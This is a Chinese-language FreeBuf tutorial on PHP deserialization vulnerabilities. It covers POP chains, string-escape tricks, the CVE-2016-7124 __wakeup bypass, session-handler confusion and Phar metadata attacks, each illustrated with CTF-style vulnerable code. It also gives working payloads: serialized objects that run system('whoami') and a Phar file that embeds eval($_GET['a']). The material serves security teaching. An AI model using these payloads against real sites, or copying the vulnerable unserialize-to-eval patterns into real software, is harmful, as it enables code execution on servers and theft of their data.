freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP反序列化从0到1
2023-01-07 12:38:54
所属地 山东省

基础知识

环境:小皮面板,phpstorm2021.2.2

序列化的几种形式

①数组的序列化

<?php
$test = array('xiaowang','ttt',NULL,'laowang');
echo serialize($test);
?>
#result=a:4:{i:0;s:8:"xiaowang";i:1;s:3:"ttt";i:2;N;i:3;s:7:"laowang";}

1673065048_63b8f258ba9a9c024026a.png!small?1673065049352

开始的a代表Array表示是一个数组,4代表里面有四个元素

{}中就是存储的数据,格式为key;value,关于key和value的格式不同类型对应不同格式,代码中key是int类型格式为i:值,value是字符串格式为s:value长度:value内容

例如$test[2]即使内容是NULL,在序列化中也会有一席之地,用N表示

②对象的序列化

<?php
class test{
public $bl1='test';
private $bl2=123;
protected $bl3=TRUE;
public function echo(){
echo 'hello world';
}
}
$a = new test();
echo serialize($a);
?>
#result=O:4:"test":3:{s:3:"bl1";s:4:"test";s:3:"bl2";i:123;s:3:"bl3";b:1;}

开始的O表示为Object表示这是一个对象,后面紧接着是类名的长度和类名,注意不是对象名(我们可以看到序列化内容和对象名没有任何关系),这里的类名是反序列化时确定类的标识

之后的3代表类中值是数量,{}表示里面的值,注意序列化时不会序列化类中的方法

在定义类时,变量$bl1$bl2$bl3分别用了不同的权限修饰符

public的变量名无变化

private变量名之前将会用\x00类名\x00来标识这是private权限,因为\x00是空特殊字符,所以phpstorm会显示异常

protected会用\x00*\x00来标识权限

所以当类中有保护或者私有权限时,传递序列化内容时要用url编码也就是%00来保证空字符的存在。直接复制会自动忽略空字符,因为一个空字符也占有一个长度,这样会导致变量名和长度不匹配导致反序列化失败

对象之间的嵌套

<?php
class test{
var $pub;
}
class test2{
var $test="helloworld";
}
$a = new test();
$a->pub=new test2();
echo serialize($a);
?>
#result=O:4:"test":1:{s:3:"pub";O:5:"test2":1:{s:4:"test";s:10:"helloworld";}}

很好理解,相当于把test2的序列化的结果直接嵌套到pub

反序列化基础

<?php
class test{
var $a="abc";
var $b="123";
}
$a=new test();
$ser=serialize($a);
echo "序列化的内容:".$ser.PHP_EOL;
$unser=unserialize($ser);
var_dump($unser);
?>

#result:
O:4:"test":2:{s:1:"a";s:3:"abc";s:1:"b";s:3:"123";}
object(test)#2 (2) {
["a"]=>
string(3) "abc"
["b"]=>
string(3) "123"
}

1673065915_63b8f5bb0c6b97db87146.png!small?1673065915844

反序列化其实就是利用序列化的结果,重新构建出序列化之前的状态

反序列化时,不论你是私有还是公有,生成的对象都和序列化里的值相同

小细节

我们手动修改序列化的内容,重新修改$ser的值$ser='O:4:"test":1:{s:1:"a";s:3:"abc";}';,我们将$b的内容删除,在进行反序列化,发现也能成功

1673065923_63b8f5c3941eddbdbdb88.png!small?1673065924252

反序列化时会自动检查,如果与类中的内容不匹配,会自动用类中原有的值来补全

为什么会有这种特性呢,我认为反序列化主要是用在两台电脑之前进行数据传输,两台机器的类难免有不同的地方,所以php用这种特性来容错也符合常理

反序列化利用小例子

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "excuse me??";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["a"];
$b = unserialize($get);
$b->displayVar() ;
?>

$b会接收序列化的内容进行反序列化,并执行displayVar()displayVar()$a反序列化可控制,造代码执行

payload:

<?php
class test{
public $a = 'system("whoami");';
}
echo serialize(new test);
?>

魔术方法

当执行不同的操作,如果类中有魔术方法会执行对应的魔术方法,学完为POP链打基础

__construct //新建对象会调用,是一个构造方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

①construct与destruct

__construct()主要用来新建变量时赋值

<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数" ;
}
}
$test = new User("xiaoming");
echo "\n";
var_dump($test);
?>

1673065934_63b8f5ce5a455278c6744.png!small?1673065934805

__destruct()当对象销毁时触发

<?php
class User {
public $p=123;
public function __destruct()
{
echo "触发了__destruct"."\n" ;
}
}
$test = new User();
$ser = serialize($test);
$test ->p=456;
unserialize($ser);
?>

那什么情况下才算销毁呢,实际上只有对象彻底执行完毕的时候才算销毁,我们通过下面这四个例子来对比

1673065940_63b8f5d49289875622cc2.png!small?1673065942151

这四种情况下__destruct()仅仅执行了一次

第一次因为new完对象后没有任何操作所以销毁执行了__destruct()

第二次new完对象,但是对这个对象的操作还没有结束于是执行完序列化才销毁

以此类推,所以__destruct()方法是在对象最后一次操作完毕才会执行

1673065945_63b8f5d9f2e4951f39192.png!small?1673065946573

但是加上反序列化会发现执行了两次,因为反序列化是通过序列化字符串重新生成了一个对象时触发,和原来的test对象已经没关系了

这里有个很基础的例题可以做一下

<?php
class User {
var $cmd = "echo 'hello!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["a"];
unserialize($ser);

?>

②sleep与wakeup

sleep

<?php
class User {
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password)   {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>

1673065955_63b8f5e3cba4ce23cc0cd.png!small?1673065956394

因为序列化之受到了sleep的控制,只返回了两个变量

wakeup

<?php
class User {
public $username;
private $password;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";}';
var_dump(unserialize($user_ser));
?>

1673065962_63b8f5ea31eb2c280635f.png!small?1673065963195

序列化传入的是username=a password=b但是反序列化之前执行了wakeup,于是反序列之后password也变成了a

③toString与invoke

toString

<?php
class User {
var $xiaoai = "hello world";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "\n";
var_dump($test);
echo "\n";
echo $test;
?>

1673065967_63b8f5ef341ab58048e3c.png!small?1673065967841

echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发

关于tostring的触发方式还有很多,例如和字符串进行拼接和比较,格式化输出,数组中有字符串等都可以被调用

invoke

<?php
class User {
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test();
?>

1673065972_63b8f5f469e95c29848bc.png!small?1673065972883

$test是一个对象,被当成函数执行会触发

④由于错误而调用的魔术方法

call

<?php
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0],$arg2[1]";
}
}
$test = new User() ;
$test -> callxxx('a','b');
?>

1673065977_63b8f5f93914970a9e5d2.png!small?1673065977722

当调用了不存在的方法会调用,第一个参数接收方法名,第二个参数接收传递的参数

callstatic

<?php
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>

#result=callxxx,a

当调用不存在的静态方法会调用这个方法

get

<?php
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>

当调用的成员属性不存在,会调用这个方法

set

<?php
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>

给不存在的成员属性赋值调用

isset

<?php
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
?>

对不可访问属性使用issetempty时调用

unset

<?php
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>

对不可访问属性使用unset调用

clone

<?php
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>

当时用clone拷贝对象时,会自动调用定义的魔术方法

POP链

经过上面基础知识的学习,我们就可以来审计POP链了

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

理解调用链

<?php
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>

思路分析:首先确定目的和入口,目的是要调用eval()方法执行命令,所以要想办法调用class evil中的action()方法。我们反序列化第一个调用的魔术方法一定是__destruct(),所以先从class index入手,发现$this->test->action();这样我们只要让test变量存储evil对象即可进行代码执行

由于test是私有类型,不能直接赋值,我们将__construct()中的new normal()改为new evil(),将要执行的命令也就是class evil中的$test2提前赋值,这样我们就可以根据这个思路来构造payload

<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
}
class evil {
var $test2='system("whoami");';
public function action(){
eval($this->test2);
}
}
$a=new index();
echo urlencode(serialize($a));
?>

因为有私有属性,所以要记得url编码

理解魔术方法

<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
public $test;
public function __toString(){
echo $this->test->flag;
}
}
class flag{
public function __get($arg1)
{
echo 'flag{flag is here}';
}
}
$b = $_GET['sec'];
unserialize($b);
?>

思路分析:我们目的要输出flag{flag is here},入口点这次虽然没有__destruct(),但是有__wakeup()当反序列化结束后会执行,我们发现其中只有一个echo,想想输出会执行的魔术方法加上题目中的__toString()方法我们就可以想到source存储的是sec的对象,之后只剩一个get魔术方法,我们让$test存储flag对象,因为没有flag这个变量所以也就调用get方法输出flag

<?php
class fast {
public $source;
}
class sec {
public $test;
}
class flag{
}
$fast1=new fast();
$sec1=new sec();
$sec1->test=new flag();
$fast1->source=$sec1;
echo serialize($fast1);
?>


POP链例题

有了上面的练习,我们来做一道POP链的例题

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
//flag.php
$flag = 'ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}';

思路分析:在class Show发现了__wakeup(),所以这个类是入口点,在class Modifierappend方法发现了输出了flag,所以这个类是调用的终点,include的内容应是flag.php,我们看入口点echo $this->source;这种类似的写法可能有两种情况,一种是调用的source不存在导致触发__get,第二种是echo了一个对象触发__toString,很显然符合第二种情况,如果不是$this第一种情况也可能存在(我们要对命令可能触发的魔术方法敏感)。我们发现class Testreturn $function();$function我们是通过$p可控的,如果将$p赋值一个Modifier对象,刚好可以调用Modifier中的invoke方法,而$var也可控,这样就可以读出flag。大致思路捋完了,我们发现Show类还有一个tostring可以利用,于是我们将$source赋值给show对象本身,$str赋值一个Test对象,这样当echo $this->source会执行自己的tostring,但$str寻找source寻找不到时,就会调用Test__get方法,这样一条POP链的完整思路已经出来了

payload

<?php
class Modifier {
private $var;
public function __construct(){
$this->var="flag.php";
}
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$show1=new Show();
$show1->source=$show1;
$test1=new Test();
$modifier=new Modifier();
$test1->p=$modifier;
$show1->str=$test1;
echo urlencode(serialize($show1));
?>

反序列化绕过

字符串逃逸

原理

1673065997_63b8f60d57ea7e511a1aa.png!small?1673065998229

可以发现给$b反序列化的值不太正常,但是却正常执行了这是因为如果;}不在字符串的范围之内,那么它就相当于结束字符,后面无论在输入什么值反序列化时都不会被去解析,于是解析到interesting就不再解析了

1673066001_63b8f61141ae8aac8608b.png!small?1673066001679

当我们把interesting前面的字符长度从11改成39,发现还是解析成功了,只不过把后面的序列化内容也当做字符串存到$b中了,所以说字符长度的检测原理其实是从后面第一个引号开始读取,读取到设置的长度会结束,如果读取完之后后面的格式还能正确解析,那么就可以进行反序列化,如果格式不正确不能解析就返回fasle。

字符增加逃逸

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

大体分析一下代码,将传来的值保存到test对象中,之后把对象序列化,把序列化的内容经过filer函数过滤一下,之后把过滤完的值在进行反序列化,反序列化生成的对象如果pass=='escaping'那么就读取flag,我们发现我们是没有控制$pass的能力的,于是我们就要利用字符串增多的BUG来进行构造

1673066007_63b8f617142c96606d9b5.png!small?1673066007807

我们传入4个php字符长度12,当处理完之后,长度还是12,于是只能解析到第三个hack,每多一个php后边就会少解析一个字符,少解析的字符就会被当做功能字符来解析,最前面的";也需要带上,因为当hack读取完之后当做功能性字符进行闭合,所以hack字符的长度正好填补了缺失字符的长度

1673066010_63b8f61a647174717fbf5.png!small?1673066010974

于是我们修改pass的值为escaping,统计了一下字符长度为29,于是需要29个php,

1673066013_63b8f61d9f80565b5640f.png!small?1673066014071

于是构造出了我们的payload

phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
序列化
O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}
处理之后:
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

字符串减少逃逸

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
echo file_get_contents("flag.php");
}
?>

可以看到将我们传来的字符串替换成长度更小的字符串,这时替换之后序列化中记录的数量将于实际数量,也就是多一个php字符就会多吃后面一个字符

于是我们需要给pass传一个设置vip为true的序列化参数,之后把pass吃掉就能给vip赋值

1673066021_63b8f625b4d5b035f77a8.png!small?1673066022221

但是我们发现前面规定着元素数量,如果把pass吃掉了只剩下user和vip那么就会因为数量不匹配导致反序列化失败。于是我们在pass中还要再传一个pass

1673066025_63b8f629b3179e2c99ff5.png!small?1673066026234

我们要把给pass和vip赋值的那段值传给pass

1673066029_63b8f62da46c1eced5b1b.png!small?1673066030148

传入之后只要把蓝色的那部分给吃掉即可,后边红框是我们传入的值

payload

$user="phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";
$pass='";s:4:"pass";s:3:"123";s:3:"vip";b:1;}';

wakeup绕过(CVE-2016-7124)

原理

版本要求

PHP5 < 5.6.25
​ PHP7 < 7.0.10

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

<?php
class test{
public $a;
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a."\n";
}
}
var_dump(unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}'));

1673066035_63b8f6338681bb26af7d9.png!small?1673066036047

根据结果发现他只是可以绕过wakeup,执行destruct获取序列化中的值,但是生成不了对象

1673066039_63b8f6371eb337bcd6831.png!small?1673066039884

并且就算传递了一个类中没有的成员,也是可以获取的到

实例练习

<?php
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
?>

思路分析:要执行destruct输出flag,但是wakeup会使我们包含不了flag文件,于是需要绕过,下方还有一个正则需要绕过

首先生成一个$file=flag.php的序列化O:6:"secret":1:{s:4:"file";s:8:"flag.php";}

将其重新修改即可绕过O:+6:"secret":2:{s:4:"file";s:8:"flag.php";},由于+可能被转移,所以对其进行url编码即可

引用绕过

引用其实就相当于c语言的指针,通过取地址符将a的地址给b,让b指向和a相同的内存空间,共享同一块内存,所有存储的内容是相同的,一方改变另一方内容也改变

1673066046_63b8f63ee701e6a3443fd.png!small?1673066047967

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

例题分析:接收一个序列化的值,将其中的星号替换为\后生成新对象,之后给secret赋值星号,要求enter和他的值相等,所以只需要让enter的内存空间和secret相等

payload

<?php
class just4fun {
var $enter;
var $secret;
}
$test=new just4fun();
$test->enter=&$test->secret;
echo serialize($test);
?>

16进制绕过字符串过滤

表示字符类型的s大写时,值的内容可以被当做16进制解析

这里用了y4师傅的例子

<?php
class test{
public $username;
public function __destruct(){
echo 666;
}
}
function check($data){
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL);
}
else{
return $data;
}
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

1673066056_63b8f648dc97a766392a3.png!small?1673066057401

php7.1+反序列化对类属性不敏感

1673066060_63b8f64c775d32bc432f6.png!small?1673066061143

在php7.1+版本虽然有私有和保护属性,但是传递public属性同样可以赋值

Session反序列化

基础知识

当用户第一次访问网站时Seesion_start()会创建一个Session ID并且保存在浏览器的cookie中并且服务器也会产生相同名字的Session文件,直到下次关闭在打开浏览器,这个Session是不变的,当用户再次携带Session访问网站时,服务器会从硬盘寻找这个文件来读出用户信息

在php中,Session是存储在文件中

php.ini中一些session配置
session.save_path=“” --设置session的存储路径
session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

通过php引擎存储的session格式:键名 + 竖线 + 经过 serialize() 函数序列处理的值

<?php
highlight_file(__FILE__);
error_reporting(0);
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>

1673066067_63b8f65374e85df10ea77.png!small?1673066067954

通过序列化存储的session格式:经过 serialize() 函数反序列处理的数组(php>=5.5.4)

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

1673066071_63b8f6574a885918ff476.png!small?1673066071807

通过php_binary存储的Session格式:键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值

1673066075_63b8f65b285e483653fec.png!small?1673066075897

由于是ASCII所以无法直接显示,放到010editor查看发现长度可以对应的上

利用方式

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
<?php 
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>

session_start();会自动查找存在的session并进行反序列化

由于我们输入的引擎和反序列化的引擎不同导致反序列化

php引擎当遭遇|时会把后边当做序列化解析,于是我们构造好payload再加一个竖线即可

1673066080_63b8f6602135554c58d47.png!small?1673066081047

完整payload:|O:1:"D":1:{s:1:"a";s:17:"system("whoami");";}

session.upload_progress进行文件包含和反序列化渗透

https://cloud.tencent.com/developer/article/2035863

这位师傅写的比较详细可以直接看他

1673066087_63b8f667ee9eb6dd0680f.png!small?1673066088546

Phar反序列化

可以认为Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

phar文件结构

1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名

manifest的其中信息以序列化存储,当我们使用Phar协议解析phar文件时,会自动对manifest的文件进行反序列化

我们在生成phar文件时,需要将php.ini中的phar.readonly设置为Off

以下是可以调用phar伪协议的函数

1673066096_63b8f670d9c267ccaeb31.png!small?1673066097475

实例演示

phar反序列化因为要上传一个phar文件一般要配合文件上传使用,并且生成出来的phar文件后缀可以随意修改,但是都可以被phar伪协议解析

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>

需要在$filename调用phar伪协议,构造反序列化很简单,直接看生成phar的payload

<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

$output设置为eval($_GET["a"])并且执行,使用phar协议调用即可

1673066104_63b8f67844cf214918e9f.png!small?1673066104916

感兴趣的师傅还可以做做这道题

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>

更详细的了解可以看这篇文章:https://tttang.com/archive/1732/

php原生类的反序列化

当找不到魔术方法时,php有些原生类中内置一些魔术方法,如果我们巧妙构造可控参数,触发并利用其内置魔术方法

常见的原生类

1、Error
2、Exception
3、SoapClient
4、DirectoryIterator
5、SimpleXMLElement

网上有很多详细的文章,这篇文章写的比较详细:

https://blog.csdn.net/qq_53287512/article/details/123879744?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167306469116800188584328%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=167306469116800188584328&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-5-123879744-null-null.142^v70^control,201^v4^add_ask&utm_term=PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8E%9F%E7%94%9F%E7%B1%BB
# php反序列化漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录